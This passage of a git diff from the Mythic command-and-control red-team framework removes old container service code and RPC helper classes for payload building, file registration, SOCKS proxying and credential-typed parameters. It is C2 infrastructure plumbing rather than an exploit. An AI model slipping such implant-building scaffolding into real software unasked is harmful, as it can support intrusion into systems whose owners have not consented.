- # print("Exception in connect_and_consume connect: {}".format(str(e)))
- sys.stdout.flush()
- await asyncio.sleep(2)
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = pathlib.Path(
- os.path.abspath(main_config["container_files_path"])
- )
- container_files_path = container_files_path / "c2_code"
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(2)
- try:
- channel = await connection.channel()
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- queue = await channel.declare_queue("", exclusive=True)
- await queue.bind(
- exchange="mythic_traffic", routing_key="c2.modify.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=30)
- print("Listening for c2.modify.{}.#".format(hostname))
- sys.stdout.flush()
- task = queue.consume(callback)
- await sync_classes()
- task4 = asyncio.ensure_future(connect_and_consume_rpc())
- result = await asyncio.gather(task, task4)
- # send_status(message="", routing_key="c2.status.{}.stopped.stop".format(hostname))
- except Exception as e:
- print(str(traceback.format_exc()))
- sys.stdout.flush()
-
-
-async def heartbeat_loop():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the apfell server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="c2.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-# start our service
-loop = asyncio.get_event_loop()
-loop.create_task(mythic_service())
-loop.create_task(heartbeat_loop())
-loop.run_forever()
+from mythic_c2_container import mythic_service
+mythic_service.start_service_and_heartbeat(debug=False)
\ No newline at end of file
diff --git a/Example_Payload_Type/Dockerfile b/Example_Payload_Type/Dockerfile
index 655b67d1d..f5a84615f 100755
--- a/Example_Payload_Type/Dockerfile
+++ b/Example_Payload_Type/Dockerfile
@@ -1,2 +1,2 @@
# pull in the appropriate language's payload container from itsafeaturemythic on dockerhub
-from itsafeaturemythic/csharp_payload:0.0.6
+from itsafeaturemythic/csharp_payload:0.0.11
diff --git a/Example_Payload_Type/mythic/CommandBase.py b/Example_Payload_Type/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Example_Payload_Type/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Example_Payload_Type/mythic/MythicBaseRPC.py b/Example_Payload_Type/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Example_Payload_Type/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Example_Payload_Type/mythic/MythicC2RPC.py b/Example_Payload_Type/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Example_Payload_Type/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/MythicCryptoRPC.py b/Example_Payload_Type/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Example_Payload_Type/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/MythicFileRPC.py b/Example_Payload_Type/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Example_Payload_Type/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/MythicPayloadRPC.py b/Example_Payload_Type/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Example_Payload_Type/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/MythicResponseRPC.py b/Example_Payload_Type/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Example_Payload_Type/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/MythicSocksRPC.py b/Example_Payload_Type/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Example_Payload_Type/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Example_Payload_Type/mythic/PayloadBuilder.py b/Example_Payload_Type/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Example_Payload_Type/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
